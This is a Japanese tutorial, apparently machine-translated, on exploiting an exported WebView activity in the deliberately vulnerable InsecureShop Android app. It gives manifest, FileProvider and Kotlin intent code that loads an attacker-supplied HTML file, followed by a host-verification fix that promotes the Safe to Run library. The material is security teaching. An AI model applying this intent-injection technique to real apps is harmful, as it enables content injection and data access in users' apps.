Hello there, ('ω')ノ
Android のハッキングと「安全でないショップ」の保護 — 保護されていないデータ URIを。
記事:
ハッキング
WebView2Activity のコードを見て。
マニフェスト内では次のようになり。
<activity android:name=".WebView2Activity" android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.WEBVIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
</intent-filter>
</activity>
これはアクティビティがエクスポートされていることを示しており、
外部ビューから開くことができるはずで。
このコード ブロックを見ると、ドメインの検証を行わずに
URL が読み込まれていることがわかり。
webview.settings.javaScriptEnabled = true
webview.settings.loadWithOverviewMode = true
webview.settings.useWideViewPort = true
webview.settings.allowUniversalAccessFromFileURLs = true
webview.settings.userAgentString = USER_AGENT
if (!intent.dataString.isNullOrBlank()) {
webview.loadUrl(intent.dataString!!)
} else if (!intent.data?.getQueryParameter("url").isNullOrBlank()) {
intent.data?.getQueryParameter("url")?.let { webview.loadUrl(it) }
} else if (!intent.extras?.getString("url").isNullOrEmpty()) {
intent.extras?.getString("url")?.let { webview.loadUrl(it) }
}
それでは、この URL にファイルを読み込んでみて。
ハッカーのアプリケーション内で HTML ファイルを作成し、
/res/raw/hacked.html に配置すると。
<html>
Hello world
</html>
次に、攻撃するアプリでファイル プロバイダ構成を作成し。
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="com.safetorun.insecureshop.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths" />
</provider>
/xml/file_paths.xml 内のファイル パスの場合:
<paths>
<cache-path name="my_cache" path="." />
</paths>
次に、そのファイルを参照する URI を作成し。
fun Context.getHackedHtmlUri(): Uri? {
// Open your html file.
val `is`: InputStream = resources.openRawResource(R.raw.hacked)
// Create a directory in the cache directory to store the html file.
val cacheDir: File = File(cacheDir, "html")
cacheDir.mkdirs()
// Create a file to store the html file.
val outFile = File(cacheDir, "hacked.html")
// Copy the file from resources to the cache directory.
try {
FileOutputStream(outFile).use { os ->
val buffer = ByteArray(1024)
var bytesRead: Int
while (`is`.read(buffer).also { bytesRead = it } != -1) {
os.write(buffer, 0, bytesRead)
}
}
} catch (e: IOException) {
e.printStackTrace()
}
// Return the Uri of the html file.
return FileProvider.getUriForFile(this, "com.safetorun.insecureshop.fileprovider", outFile)
}
そして最後に、HTML を開始して。
val intent = Intent("com.insecureshop.action.WEBVIEW")
.apply {
setClassName("com.insecureshop", "com.insecureshop.WebView2Activity")
data = ctx.getHackedHtmlUri()
flags = Intent.FLAG_GRANT_READ_URI_PERMISSION;
}
ctx.startActivity(intent)
これで、HTML ファイルが WebView に読み込まれたことがわかり。
確保
こうした攻撃を防御することは、思っているよりも難しくもあり、簡単でもあり。
ほとんどの場合、かなり特定の URL のみを読み込む必要があるためで。
しかし、より困難で。
チェックするのは思ったよりも難しいためで。
アプリケーションを保護するために Safe を使用して実行し。
github 上で安全に実行できるものを発見
https://safetorun.com/?utm_source=medium&utm_medium=insecure_app_1&utm_campaign=articles#/
以前と同じまたは類似の罠に陥るのではなく、URL の検証にライブラリを使用し。
まずライブラリをインポートし。
implementation "com.safetorun:inputverification:2.1.1"
次に、検証を追加し。
データを使用する直前に、ブロック内の onCreate に検証を追加して。
val passedVerification = uri.getQueryParameter("url")?.urlVerification {
"insecureshopapp.com".allowHost()
} ?: true
if (passedVerification.not()) {
throw IllegalArgumentException("Don't hack my app!!")
}
この例では、URL がホスト「insecureshopapp.com」からのものでない場合、
例外がスローされるため、URL は読み込まれず。
結論
驚くべきことに、ホスト検証は Android アプリケーションに存在する最も
一般的な脆弱性の 1 つであり、特にリンクが外部ソースから取得されて
Web ビューに読み込まれる場合に発生して。
URL やその他の入力攻撃から保護するために安全な実行を使用する方法の
詳細については、次のドキュメントを参照して。
https://docs.safetorun.com/safe-to-run-verify/verify-getting-started
Best regards, (^^ゞ